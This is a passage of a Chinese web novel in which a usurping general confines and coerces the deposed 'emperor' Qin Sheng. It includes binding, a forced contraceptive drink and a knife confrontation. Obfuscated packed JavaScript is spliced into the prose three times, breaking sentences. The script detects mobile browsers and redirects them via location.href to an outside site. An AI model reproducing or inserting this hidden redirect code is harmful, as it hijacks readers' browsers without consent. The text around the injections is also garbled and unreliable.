季桐站在龙椅后,两手撑在扶手上,将龙椅中的秦笙完全笼罩在自己身前,“就写,皇上因体弱多年来被奸佞蒙蔽操纵,导致朝政昏聩,具体怎么写皇上自己想想清楚。” 秦笙转头看她,“季大将军,你才是那个奸佞。” 季桐忍不住笑出声,喉间溢出一声“嗯。” “不用写性别一事吗?”秦笙一边写一边问。 “不用。”季桐从容道:“性别一事微臣会在时机合适的时候让忠义之士来揭发。” “好。” “皇上想听听为什么吗?” “为什么。”秦笙顺着她。 “因为上位这种事呢,不能直接针对性别发起,不然就会显得微臣名不正言不顺,人人都道是篡位,当然会有人不服。”季桐认真地解释着:“微臣需要将您塑造为欺天悖祖、祸乱朝纲的形象,再将自己定位为拨乱反正、顺应天命的护国者。” 秦笙目不转睛地盯着她,从对方眼里看不到一丝情意,只看到了野心的渴望。 季大将军是真的爱他还是只想要皇位,他无从知晓。 可他现在是囚笼中鸟,无论如何也已经飞不出去了。 秦笙低头,继续书写罪己诏。 披散着的长发有几缕随着夜风飘到了肩前,季桐轻轻帮他拂开。 “笙笙,不会怪我吧。” 带着沙哑的音唤着他的名字,秦笙耳尖烧得通红,他想反驳,可话语黏在喉头怎么都出不了口,整个人像是被热汤浸泡,浑身发软。 他咬了咬下唇,继续提笔。 仅仅是这样,他就如此不堪地动了情,他是什么卑贱之人吗。 唾骂自己的同时,手下的字却端正不移。 直到被身后这人拽了一下头发,整洁的书面落下了一滩墨点。 秦笙转头怒目:“干什么?” “可爱,微臣要收藏起来,皇上重新写一份吧。”季桐不顾他的意愿,将他手下的明黄色圣旨绢布抽走。 “你!” 是可忍孰不可忍。 “不写了。” 秦笙撂笔,季桐将没完笔的圣旨收好,笑道:“那可不行,除非皇上想让臣民遭殃,百姓流离失所。” “你。”秦笙气结,缓了缓才道:“我说过,这是一本书,只有不起战火,才有可能回去。” “可是微臣不想回去了。”季桐当然是骗他的,“微臣在这里要风得风要雨得雨,连皇帝都在臣的掌控之中。”说着季桐手指轻轻抬了抬秦笙的下巴。 秦笙偏头让开,“不是说喜欢我吗?为什么这样待我。还是说,季大将军的喜欢只是为了谋权?” 他很少表露自己的心意,这句话已经是忍了很久又想了很久才问出口的。 “哦。”季桐挑眉,“可是皇上,回去了万一你又与你的未婚妻牵扯不断可怎么好?微臣不想回去。” …… 长久的沉默。 是啊。 他不爱的只是大邑的季桐,不是现代的季桐。 如果季桐从车祸中生还,他该如何自处。 人怎么可能同时喜欢上两个人……还是一男一女。 他简直是个人渣。 季桐见他半晌没有反应,绕到他身前,弯腰看他,竟然眼尾泛红眼眶含泪,咬着下唇,不知脑袋里在想些什么,几乎下一秒眼泪就要滴落下来。 “滚吧。”秦笙淡漠地吐出两个字,再续了句:“会写完罪己诏的,不用季大将军盯着。” 真惹人家不高兴了,季桐还是有点眼力见的,于是耸耸肩,出门了。 两日后的早朝,风云变动。 季桐当朝宣读秦笙所写的罪己诏。 久囚于后宫的太后被请了出来,在保皇党安丞相的指控之下,承认了所言属实,皇帝确实为女身。 安丞相之女安乐佑贵妃一直是与皇帝青梅竹马,皇帝登基以来,圣眷不断,其父安丞相的话自然可信。 皇后没有出面是因为身为季家女儿要避嫌,安贵妃和太后的指控就足以令众臣信服。 秦笙坐于朝堂之上,已经是众矢之的,千言万语如同囚笼也如同利箭,将他围得水泄不通,没有他说话的份儿。 御使大夫季海清高声道:“当今圣上亵渎宗庙,欺骗历代先皇,实属大罪之一。” 太常季鸿源跟着道:“当今圣上动摇国本,致触怒天颜,洪灾不断、祸及百姓、天下大乱、江山不稳,实属大罪之二。” “欺骗先皇,乃为最大的不忠不孝。”安丞相抹着眼泪,跪地道:“微臣有罪,竟然懵然不知,辅佐多时愧对先皇,自请贬官。” 文官、武将,无一不支持季家。 连先皇的弟弟梁齐王都跪地支持,没有人敢说什么皇室血脉的话,只因梁齐王本就顽劣不堪大任。 在安丞相说出“国不可一日无君”后,众朝臣大力赞扬了大将军的功勋和德行,高呼着大将军上位,一切顺理成章。 当然,也不是所有人都识时务,也有几个小虾米是硬骨头,可十万大军就在城下,他们半个字也不敢说。 季桐很清楚,十万大军的作用本来是威慑,让所有反对者闭嘴,而不是直接用来杀人攻城。 整个过程看起来是文武百官和天下百姓的共同意愿,这就是她的目的。 这场政变,毫无硝烟。 她把自己从一个单纯的篡位者,塑造成了一个收拾烂摊子、拯救国家的唯一人选。 而十万大军确保了这场政治戏码能够按照她的剧本顺利演下去。 京城也没有出现任何骚乱,林明远迅速稳定了京城的秩序,百姓过着正常的生活,只是茶余饭后多了份大谈资。 三天后的新帝登基仪式办的简略,表面上是为国为民,不大耗财力,赢得百姓的赞扬,再者季桐没有改国号,一切照旧,除了支持她上位的那些人给了大力封赏,就连前朝宗室季桐也没有任何贬斥,善待宗室也能彰显新帝宽厚仁德。 安丞相的职位由其子安落明接任,更是赢得了前朝保皇党一派的欣慰。 后宫妃嫔遣散,也获得了在朝妃嫔父兄的称赞。 至于秦笙,季桐表面上将他归纳于前朝宗室之中,给予优待,封了个毫无实权的顺宁侯,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291748|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧住于宫中。 “顺宁。”秦笙嗤笑,“寓意是归顺、安宁,对吗?” 季桐不语。 秦笙继续道:“说是封侯,也不见我与皇叔一般有自己的府邸,甚至长乐公主在外也有自己的住处,表面上说的好听,在宫里住惯了,就还留在宫中,实际上明确的宫室也没有,我与那些暖床的宫人有什么不同?!” 季桐还是不语。 秦笙咽了咽喉间的话,几乎快要哭出来:“你说话。” “自然有宫室住。”季桐贴近他,“笙笙的宫室就是朕的勤政阁寝宫,一辈子都住在这儿。” 秦笙无话可说。 原以为起码是两情相悦,可他从对方眼里看不到爱,即使寻找了许多遍,他也只看到了如狼般的野心。 原来那每次脱口而出的喜欢他,不过是蓄意篡位罢了。 可笑他还当了真。 秦笙缓缓闭眼,“如今我还能说什么,你想如何。” “自然是先换回女子装束。”季桐笑着,“来人,将顺宁侯的龙袍给朕剥下来。” 这几日季桐忙着登基,秦笙一直被关在勤政阁,都没换过服制。 “让他们下去,衣服拿过来,我自己会换。”秦笙冷着脸。 王德海站在寝殿门口进也不是,不进也不是。 “那不成。”季桐打定主意了就是要欺负他。 “剥了。” 季桐撂下这句话就离开了勤政阁的寝宫,去前面的勤政殿处理政事去了。 新帝登基,诸事繁多,季桐批折子批到深夜都处理不完,回来看他一趟都是挤着时间来的。 不过快了,也就剩一点点了。 今晚就能全部收拾完,从明天开始,就是步入有序的朝政,不会需要加班了。 季桐麻木地处理完桌案上所有的奏折,趴在桌上睡着了。 “皇上,皇上。”雀明小声地提醒着:“睡这儿容易着风寒,这几日晚间风刮得厉害。” 季桐被吵醒,又听到了耳中的电流声刺啦作响。 这些天那个叫456的系统经常不在,很少打扰到她,也不知道为什么今天怎么突然响这么久。 “那就回勤政阁睡吧。” “唉!好勒!” 轿撵晃晃荡荡摇回勤政阁,季桐睡意再次来袭,但奈何颅中的电流声一直不断,撕扯着睡意,让人烦躁。 季桐下了轿撵,进了寝宫,站在里屋外面,听着电流声渐渐变成人声。 456:【宿主,你就忍忍吧,也是一样的,反正又没出大变故。】 秦笙:【你管这个叫没出大变故?!】 456:【哎呀,任务照发的呀,说明主系统觉得没有问题!】 秦笙:【我不会再做主线任务了。】 秦笙:【现在我也不是皇帝了,这份责任我不会再担了,就算有天灾又如何,于我又有何干系。】 456:【不行啊,宿主,这个任务是必须要做的,不然你回不去啊,这个任务节点是在剧情上有明显写出来的。】 秦笙心中的声音带有明显的愤怒:【我说了,这个任务我不可能做!】 看来是任务已经发布了,她来得晚了点,没听到是什么任务,正惋惜着要该怎么打探一下,就听到456开始哭诉。 【生个孩子而已!】 36. 第三十六章 竟有此事! 那不行,秦笙本来身体就不好,怎么能生孩子。 这系统吃了熊心豹子胆了,还敢催生。 且不说孩子不孩子的,他们之间连床都没上过,这系统发任务未免也太跳跃了! 还是说,已经发过类似循序渐进的任务,被秦笙略过了? 季桐脸上带着不悦走进里屋。 换了女子装束的秦笙,少了几分从前的影子。 一身长裙,平日里束着或是披着的长发此刻盘了个娇俏的发髻,一张莹白如玉的脸颊上画着女子时兴的淡妆,眼光流转间,竟感觉比此前安贵妃还要美上几分。 季桐被惊艳到了,脸上的不悦也消失不见,只是呆呆地看着。 “你不高兴?”秦笙一眼就看出了对方刚才神情不悦,然后低头看着自己的装束,伸手理了理裙摆有些不习惯,又怕对方不喜欢,“如你所愿,穿好女装了,可季大将军别忘了我原来……” “我管你原来是什么身份。”季桐笑着:“哦不对,是朕,朕不管你原来如何,朕只喜欢现在的你。” “皇上是在提醒我喊错了称呼吗,可是我习惯了。”秦笙还是淡淡的,“所以,是真心喜欢吗?” “当然。” 也罢。 秦笙苦笑,做人还分什么男女,是什么便该怎么活,这是他以前自己说的,也该接受现在的结果。 秦笙摇了摇头,嘴还是硬的,“表面上说是喜欢而已。” 季桐就不乐意看他这个样子,拧巴的要死,于是微微斜着头,俯身捕捉了他的唇瓣,缓缓加深,一手紧紧揽住他的腰肢。 秦笙除了一开始的瞳孔骤缩,没有半点反抗。他能感觉到对方确实是在意他的,连带着腰肢都软了许多。 【你怎么还享受上了!别忘了被强迫的小任务可以重复做的!】一声不合时宜的系统声在旁边叫起来。 456不知道什么时候活了,正激动地指指点点:【推开他!!!5点积分就能到手!】 秦笙猛地伸手推在了季桐的胸膛上,两人拉开了距离。 季桐亲得正高兴着,被打断了脸上带些愠怒。心说,神经病啊这系统,除了主线任务居然还特么有支线任务,这是正经系统吗,跟个拉皮条的一样。 秦笙:【你不是说少儿不宜你会自己屏蔽自己吗!】 456:【亲个嘴而已……不算少儿不宜吧。】 秦笙:【……】 456:【我之前屏蔽自己是觉得你很容易放不开自己,所以屏蔽得比较多,但是现在大背景都歪成这个样子了,我得盯紧点。】 秦笙:【……】 456:【而且,这个叫拉扯,你懂不懂,整个过程你先勾引他对你爱到不能自已,让他对你威逼利诱,胁迫你跟他在一起呀!你再推开他,每拒绝一次能刷5分,你又不吃亏,不是爽刷!】 听着还挺好玩的,季桐挑眉,系统都这么说了,不搞点大的都对不起她这份篡位的苦累。 “不愿意?”被推开后的季桐脸上写满了不屑,轻笑一声后道:“那顺宁侯就留在朕这里做个贴身宫女吧。” 秦笙被她的不屑神情刺痛,他想说不是的,可他不能说。 季桐冷着脸拂袖而去。 秦笙才对456叹了口气:【不是让我生孩子吗,我一直拒绝我怎么生?喝子母河的水吗?】 456发了个问号表情:【不是啊宿主,你诱惑他用强的不就行了,你拒绝是你的事,他做他的。】 秦笙:【……】 秦笙:【你神经病啊!!!】 回到勤政殿外殿书房中的季桐陡然听着电流声变大,无语地揉了揉太阳穴。 太窝囊了,她都堂堂帝王了,为什么还要睡书房! 甩完脸子自己滚出寝宫睡书房,这对吗,这对吗! 一时意气,没想好对策,脚就已经自己走出去了,季桐深刻反思了自己的行为,下次一定是赶他出去。 也不对,秦笙在外没有府邸,在皇宫里也没有宫室住,只能睡勤政阁的寝宫。 算了。 想了半天,季桐最终还是心软了,都这么可怜了,就让让他吧。 第二日,季桐上完早朝,回到勤政殿批折子,批到一半,余光瞥见雀明上前像是有话要说。 她抬头,“怎么了?” “皇上您说的今天让那位新的贴身宫女来伺候……”雀明脸上写满了尴尬。 她与王德海这些人都是很清楚这位贴身宫女是谁的,只有那些平常不怎么见得到皇帝的底层下人才不知道这事。 所以她有些惊诧于主子的做法,再怎么折辱人也不该做出这样的事。 “让人进来吧。”季桐面无异色,继续提笔批折子。 “是。”雀明没办法,将勤政殿的宫人都散去了,再吩咐了秦笙进来。 此时的秦笙已经换上了一身等制较高的贴身宫女服饰,只是脸上还带了副不透光的雪色面纱。 秦笙虽然从穿书以来就是女身,可穿来一直是以男子身份生活,习惯上与从前并无二般,所以此前太后也才会说他越来越像个男人这话。 如今换回女子身份生活,站着不动还好,动起来气质上倒像个男扮女装的。 说白了,动作不够像古代女子柔和雅致。 他端着奉茶的金丝木盘,低头呈上,“皇上喝口茶润润嗓子吧。” 这话肯定是有人教过了。 “嗯。”季桐点头,“搁这儿吧。” 秦笙不算是多安分守己的人,他将茶搁在桌边,确认了一圈宫殿内没有其他宫人,伸手摘下了面纱。 “看着我。”他声音冷清。 “忙着呢。”季桐心里偷笑着。 秦笙难得主动,以前他那个闷葫芦性子估计得被磋磨成什么样都不知道,如今倒是胆子大了,上前贴近道:“看着我。” 季桐终于搁了笔,回身看他,“怎么了?” “站起来。” 不明所以的季桐听了这话,笑得两个肩膀都在抖,但是人没动,问他:“为什么要站起来?” “怎么,这皇位你坐得,我坐不得?这原本就是——” 秦笙的话听起来毫无感情,就像是被迫看了恋爱一百零八式的攻略书一样在套公式。 季桐更想笑了。 可能是456那个笨蛋系统出的主意吧。 对抗路情侣吗,有意思。 “倒也不是,来来来,你坐就是。”季桐笑着将他揽上龙椅。 秦笙的话卡在喉头,半晌说不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298160|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么不经逗。 龙椅很宽,季桐将人又抱了起来,搂在自己怀里,顺手扯了扯他的衣领。 这贴身宫女的制服衣领是圆的,有些紧了,她记得秦笙有颈动脉窦综合征,也就是衣领综合征,衣领高了会他会很难受,甚至难受得想吐。 “你干什么?”秦笙按住她的手。 “没什么,看看。”季桐笑道。 秦笙立马脸绯红一片,挣扎着要离开她的禁锢,嘴里溢出一句:“光天化日,简直不要脸。” “朕记得笙笙以前说过,对朕没有意思。”季桐指尖摩挲着他的锁骨,“现在是不是可以承认对朕的心意了。” “皇上从未真心待我,又何必求我的真心。”秦笙喉咙里带着酸涩,说到后面几个字时连声音都小了。 “还是很生气朕篡位之事吗?”季桐将下巴搁在他的肩窝里。 秦笙能清楚地感受到对方的鼻息扑在自己的脖颈间,一时间也不知道说什么,只是喉间的哽咽更加重了。 他从来不在乎权位,如果是真心相悦,皇位送人又如何,可偏偏不该是……不管不顾地夺位。 在临州时听到季大将军说心悦他的那一刻,他信了。 可后续的所作所为,真的对他有一点点真心吗。 还是说只是把他当个难以得到的精贵宠物,哄着,养着,有宠无爱。 “皇上恕罪!安慧郡主求见!”雀明低着头进殿禀报,“此刻已经在门外了。” 安慧郡主……季桐愣了一下才想起来,是从前的安贵妃,助她上位的功臣她通通都赏了,其中也有安乐佑,遣散后宫嫔妃后给她封了郡主,赐号安慧。 “宣她进来。”季桐不咸不淡道。 “你!”还坐在季桐怀中的秦笙怒目而视。 季桐将人放开,未等他站稳,就踢了踢他屁股,“下去。” 秦笙不敢置信。 下一秒安慧郡主就要进殿,能下哪儿去?! 456:【桌子桌子!藏桌子底下!】 秦笙没有时间思考,只能弯身躲了下去。 “参见皇上。”安乐佑进殿恭敬地行礼。 “何事?” “是这样的。”安乐佑斟酌用词,“听闻皇上留了顺宁侯在宫中长住,不知是在哪个宫室,臣女想探视一下。” 秦笙闻声微动,头一不小心磕在了桌角,疼得“嘶”了一声。 “嗯?”安乐佑对声音还算敏感,但天子面前她不敢妄言,只能眨着眼无辜地小心抬眼去看这位新皇。 456整个棉花都傻了,瑟瑟发抖:【这样不行吧?怎么变成这种调调了……】 秦笙:【睡你的觉去吧!】 456发了个阿弥陀佛的表情包:【啊算了算了,反正男女主还在种田。】 456:【你说这,虽然说原文剧情也是大将军胁迫强制你跟他在一起,但是没有篡位啊,更没有这种玩法啊!这个穿书者简直比大将军原身还可怕!玩的花!】 秦笙:【我让你睡觉去!】 456:【唔,不过也说不定就是大将军残留的意识影响的!】 秦笙疑似有些活人微死了。 季桐压住心底的笑意,面对安乐佑的疑问淡淡地“哦”了一声,“我养了只猫,在哈气。” 37. 第三十七章 安乐佑来也不全是为了废帝。 更是来谈论新皇派给她的提议的。 季桐这事儿昨天夜里她就想过了,剧情上不是必须出现个孩子吗,既然秦笙不能生,那就找个身份合适的生。 安丞相的老一辈也是皇亲国戚,虽说到安丞相这一脉皇家血缘是稀薄到聊胜于无了,但也还是对秦氏一脉忠心不二,这也是保皇党以安丞相为首的原因。 那安氏生的孩子怎么不能当皇帝,合理的很! 安乐佑是个地地道道的古代女人,季桐打听过,她很喜欢孩子,家里人也希望她有孩子,她自己也想要,以前是不敢生不能生,现在皇帝都换了,她和锡太医的事儿也就顺理成章了,只是若想怀孕,这件事不能张扬,第一个孩子必须是隐蔽的生下来,才好说是皇家血脉。 “安慧郡主可考虑好朕的提议了吗?”季桐避开了探视秦笙这个话题,重新提起此事。 “皇上爱重臣女,臣女惶恐,若是皇上以后有了其他皇子,臣女的孩子又该如何自处?”安乐佑是聪明人,虽然拒绝不了,但她可以为自己未来的孩子争得最好的路。 “这不是你该考虑的事。”季桐没有给一个确切的答案,“你现在最需要考虑就是如何尽快完成这个任务。” “是。”安乐佑自知今天白来了,只得行了一个大礼道:“蒙受皇上垂爱,赐婚一事臣女很是喜悦,臣女告退。” 勤政殿重新归于宁静。 秦笙想从桌下爬出来,季桐又给轻轻一脚踹回去了。 秦笙跌坐在角落里,光线只能照到他的裙摆,划成了一道直线,线的那头是黑暗笼罩中楚楚可怜的人。 “为什么踹我。”可怜的人问她。 语气平静,没有生气,也没有愤怒,只是有一点点委屈。 “不是藏的很开心吗?”季桐俯视着他。 “不是你让我藏起来的吗?”秦笙微皱着眉。 “你想被安慧郡主看到吗?” “不想。” “起来吧。”季桐终于伸手去牵他。 秦笙将手搭过去,热意迅速从掌心蔓延到了全身。 他正要说什么,又听殿外雀明喊了一声“不好了!” “有事就说。”季桐扶着秦笙站好,雀明跑得匆忙,差点绊倒。 “皇上!昭庆公主她跳湖了!”雀明急得脸色煞白。 是傅箐! 傅箐虽说是表妹,按理也该封郡主,但季桐破格给她封了公主,所有人都知道她宠爱这个表妹,这个公主封的时候朝中并无异议。 她跳湖干什么? 不对,傅箐会游泳啊。 不会是被陷害了吧,还是被谁推入湖中的? “她人怎么样?!”季桐站起身。 “她人怎么样?”秦笙与她几乎是同时问的。 “奴婢一听说立马就赶来禀报了,奴婢还不知道具体情况!” 456:【Oh……这个表妹好像在剧情里是知道了哥哥非皇帝不可之后,就一直郁郁寡欢,后来是跳湖死了,但那是比较后面的事了,配角嘛着墨很少的。】 秦笙:【可她是穿书者!】 456:【话是这么说,但是我说过了,魂穿弊端很多的,说不定就是被原身意志影响了,被同化是很难避免的。】 季桐从未将这话当真,因为她能清楚地感受到,她的身体完完全全由她自己掌控,从来没有被剧情牵着鼻子走。 可傅箐是怎么回事? 她前些天明明还好好的,她那个性格也不像是要跳湖的。 “你回勤政阁休息吧,朕去看看。”季桐急匆匆地要走。 秦笙拉住了她的衣角,“晚上还会回来吗?” 他除了一开始听到这个消息时害怕人真有事外,现在居然只剩了一个念头,季止邪会不会如剧情里一样,与这个表妹牵扯不清。 “会。”季桐拂开了他的手,“如果回不来就是明天晚上,明天有宴会,你随雀明等朕入宴即可。” 公主府就设立在皇宫附近,并不算远,但季桐骑马赶过去也用了至少一刻钟多。 忽略了那些高喊万岁的奴仆,季桐赶至屋内,听到了傅箐呛咳的声音,松了口气。 “怎么回事?说清楚。”季桐语气冷厉。 几个跪地服侍的奴婢正要回禀,就被傅箐招了招手止住了。 “你们——咳咳,你们先下去吧。” “是。” 等屋里人散去,傅箐自己抓了个枕头,把自己垫起来坐着,“哥哥哟。” “说吧。”季桐皱着眉,“可是有人害你?” “没有。” 傅箐无奈地摇头,“就是因为没有,我才害怕。” “真是你自己跳湖的?” “确实是,但又不是。”傅箐瘪了瘪嘴,“不知道这脑子怎么回事,跟抽风了一样,今天在湖边闲逛,打发走了所有的奴婢,站在湖边‘噗通’一下就跳下去了,骇死我了,入水的那几秒钟我还一点都动不了,跟被魇住了一样。” “那你怎么上来的?” “巡逻的侍卫发现了,捞我的时候,我已经自己能动了,就扶着人游上来了。”傅箐叹气,“累死我了,比我平常游三百米还累。” “还好你会游泳。”季桐不敢再瞒她,“系统说过,你是魂穿,会被原身意志影响,很有可能是被剧情掌控了,以后注意点,别去有水的地方。” “啊?!!”傅箐大惊,“这个表妹是迟早会跳湖死掉?” “是。”季桐沉重地点头。 “那我还能完好得回家吗……”傅箐委屈巴巴地要掉眼泪了。 “能。”季桐拍了拍她的肩膀,“一定会的,相信我。” 她得想办法跟系统摊牌了。 剧情要走十年,傅箐等不了那么久,这才不到半年。 “哥哥今天陪我吧,我害怕。”傅箐靠在她肩上,“放心,不是剧情,就是单纯地觉得这个世界只有你一个人能跟我说上真心话,晚上你住隔壁就好。” “嗯。”季桐还是答应了,只是想着皇宫里还有只小猫儿在等她回去,觉得心有不安。 但她已经报备过了,明儿晚上宴请众臣,是肯定会回去的。 “这事就不要告诉太后了,她会担心的。”傅箐想了想,季家老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303267|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很是宠她,要是知道了不得吓病才怪。 季桐点头,“放心吧,他们口风会很紧的。” 季桐留在她这儿一起用了晚膳,又与她谈了谈心,夜里安心地歇在了傅箐隔壁房间。 第二日,落梅圆的麟德大殿。 这场宴请是前几日早朝就已经定下来的,宴请王公贵族、有功重臣,以昭新皇恩典。 夜幕降临,繁星几点,月高无云。 这场宴会盛大,场地开阔至可容纳几千人,季桐的御座在中央的高台之上俯瞰全场。 她入场之后,群臣三跪九叩才陆续入座,舞乐起、笙歌奏。 除了场面话其他也没什么特别要紧的事,这宴本来就是走个流程,给给封赏,也就结束了正事。 雀明只有开场的时候来伺候了布菜,而后很快就换了秦笙上来。 雀明心里明清的很,主子吩咐过要秦笙来伺候,又不能让人出丑,又不能真的见人,就只能作为后续伺候的贴身宫女出现,且此时舞女带着面纱,伺候皇上的贴身宫女带着面纱也就不会很显眼。 雀明可谓是操碎了心。 季桐笑着接过秦笙递上来的酒,指尖在他的手背上摩挲了一下。 “别。”秦笙小声道:“人很多。” “朕又没干什么。”季桐也侧脸小声回着。 场中的舞娘都是蒙着面纱,一举一动皆是风情。季桐收了手,接着看舞,惬意地一指敲着桌角。 秦笙立于她身侧,被冷落了一会儿。 一舞毕。 “好!”季桐拍手称赞。 “皇上圣明,慧眼如炬,此舞姬乃江南敬献之贡女。”近侧的季岚言拱手行礼道,“只因其言只有圣上能得见真颜,才覆面而舞。” 季岚言是季止邪的舅舅,现在也接任了大将军一职,进献个地方舞姬很正常,可能是看到皇帝身边伺候的贴身宫女也戴着面纱,以为皇帝就好这一口,才专门提了一句。 周围灯明花艳,宴会上个个笑颜开怀,觥筹交错,有鄙夷的目光,有好奇的目光,都盯着同样戴着面纱的秦笙与那几个舞娘。 季桐想知道秦笙会如何应对。 秦笙抿着唇奉着酒杯,一句话也没有。 他受不了这个气氛,只能朝她投去求助的目光,可季桐没有看向他,更没有接这杯酒,还在望着那几个舞娘,他自觉地搁下杯子,默默离开了这场宴席。 季桐愣了愣,面上不好说别的话,只是笑着说了声:“爱卿有心了。” 如果她提及这个贴身宫女才是最惹人多想的,默默退下换雀明上来,是最不引人注目的方式。 可季桐余光瞥着秦笙离开的方向,实在有些生气,秦笙简直像个鹌鹑,有事不迎难而上,就只会秉持着“世上无难事,只要肯放弃”这一条准则行事。 但是左右思索了一下,又觉得秦笙的逃避并不是浮于表面的,季桐撤回了这条评价,决定再看看。 她不能这么简单地给一个人下结论。 她小声招了雀明到身边来,“着人把他绑到勤政阁寝宫,即刻去办。” “啊?!” 雀明内心震惊。 38. 第三十八章 秦笙一路低着头走,脚步越来越快,为了早点能回去甚至挑了条清净远人的小路。 结果刚到后花园的假山石堆处,就被蒙了嘴,身后几个人一起将他勒住,未等他反应过来,就已经被麻绳捆牢了抬了起来。 他奋力挣扎却丝毫使不上力气,他第一次觉得女身是如此不便,若是原本的他,即使做不到能打得过几个人,但挣扎下来倒也不难。 他被捆得结结实实,却不敢放声呼救,他还戴着面纱,不能让别人看出他是谁。 周围的环境越来越熟悉,是回勤政阁寝宫的路。 这还有什么不明白的,皇宫禁内,新皇乃是雷厉风行手段狠辣的前大将军登基,谁敢如此胆大包天。 只除非授意这事的人就是皇帝。 秦笙停止了挣扎,被稳稳放在了床榻上。 秦笙:【456!456!】 过了片刻,一道陌生的系统音出现。 是456的身体活了,但却不是456的声音:【什么事?】 秦笙一愣:【456呢?】 009:【我是009,它的代班同事,456隔壁世界有更重要的事情处理,它说你这边剧情需要看着点,所以找我代班盯着。】 秦笙:【我要用积分,帮我解开绳子。】 009:【啊。什么玩意儿?被强制爱了吗这是?这不是很正常吗。】 秦笙呼吸一滞:【这哪里正常了?!】 这位代班同事声音不带一丝情绪,冷静分析道:【那原身也没娶季大将军的表妹啊,宿主你自己亲手把权力一点一点奉送出去的,原身不说势均力敌吧,季大将军起码还有点忌惮这三分皇权,虽然威逼利诱却不敢摆到明面上去,你这…纯自己作的。】 456的声音从远处飘来:【对不起宿主都怪我没带好你,辛苦你和009了。】 秦笙那点闷气堵在了嗓子眼,缓缓:【不怪你,是我自己的问题。】 他承认,他向来不争什么……他从来都只是想要一份属于他的爱。 以前的季桐是他的坚定选择,他从未退缩过,可惜至始至终没有得到全心的回应。 现在的季止邪也是…… 他渴望得到真正的回应。 哪怕答案是,他不想听到的。 一个并不脸熟的小宫女上前奉上药碗:“皇上有命,请姑娘饮尽此碗。” 秦笙偏头去看,心凉了半截,“这是什么?” “是避子汤,乃是锡太医精心研制,非以往那种事后再喝的汤药伤身,这种避子汤对母体无害,提前一个时辰饮下就能得十二个时辰的避孕。”宫女认真地解释。 “……” 见秦笙没有回应,宫女上前,将药勺递到他嘴边,“奴婢只是奉命行事,姑娘不喝皇上会怪罪奴婢的。” 秦笙认命地张了嘴,等宫女一勺一勺给他喂完退下,寝宫才安静下来。 他被捆在龙床上,心如死灰地,手摸到了身下的匕首,这是他很早以前就藏在床垫之下的。 这些日子对他欺辱越来越盛,单单是这些也就罢了,可偏偏要让他瞧见对方对别人的在意。 还答应了进献,下了宴席又把自己绑在这里。 怎么?还想要享齐人之福吗? 前朝说着后宫不可一日无主,早晚会有皇后,季止邪对自己怕只是一时喜欢,毕竟剧情也不像原来一般成双成对,他已经当上了皇帝,自然是想要多少女人就有多少。 临幸他之前还要给他一碗避子汤。 秦笙苦笑。 怎么会这样,不仅爱上了个男人,还爱上的是个对自己不怎么在意的男人。 以前种种他还可以骗自己,现在这样的情况,还用得着给人家找理由吗。 他实在是不允许自己堕落至此。 秦笙摸到了匕首的鞘,009冷漠道:【我劝你别反抗,照你这个行为,撕破脸之后你要么死,要么想办法夺权,早晚避不开战火纷争,到时候世界崩塌你一样要死。】 秦笙斜眉冷对:【我不在乎了。】 床前的烛火燃至一半。 麟德大殿的宴会终于散去。 季桐独自回到寝宫时,看到秦笙眼角泛红,捆着他的麻绳已经被挣扎的松乱在四周,人却端正地坐在床边,举着匕首。 “杀了我,或者,我杀了你。”他提高了些音量,尾音却哽咽到几乎不能成音,颤抖得不行。 季桐喝的并不多,人是清醒的,但看到这副场景还是觉得有些让人气血翻涌。 酒精果然使人助兴。 可为什么秦笙看起来好像要哭了,她的兴致又低了些。 季桐慢步走近,将自己的身体抵在刀尖上,“可我舍不得杀你。” 她不依不饶,“你也舍不得杀我,是不是?” 秦笙咬着下唇,几乎快要渗出血来,“为什么让我喝避子汤?” “不想你生。” 这话未经思考,脱口而出。 落在秦笙耳朵里,意思是他不能生,别人可以生。 是啊,他生了的话孩子登基不就还朝于秦氏了吗。 季止邪不过是想杜绝这种被夺权的可能性罢了。 “滚!”秦笙将刀尖上移,对准了季桐的心脏方向,“出去,不然就——” 季桐轻松地折了他的手腕,将匕首方向撇到了另一边,却没有夺走他的匕首,只是一手揽住了秦笙的腰,轻轻捏了捏。 秦笙手腕吃痛,再是腰间的热度,惹得倒吸了一口气,却还是恶狠狠地看着面前的人。 “你待我有一点真心吗?” 他最后一次问出这个问题。 “那你呢?”季桐一点点逼近,将人按在床榻上,“你喜欢的究竟是谁?” 秦笙一手撑在床边,一手还是举着匕首,可已经渐渐脱力,对方明明在欺辱他,可他的身体不仅不能感到危险,还隐隐带着生理性的期待,身体与精神的极限撕扯让他愤恨痛苦得想要自我了断。 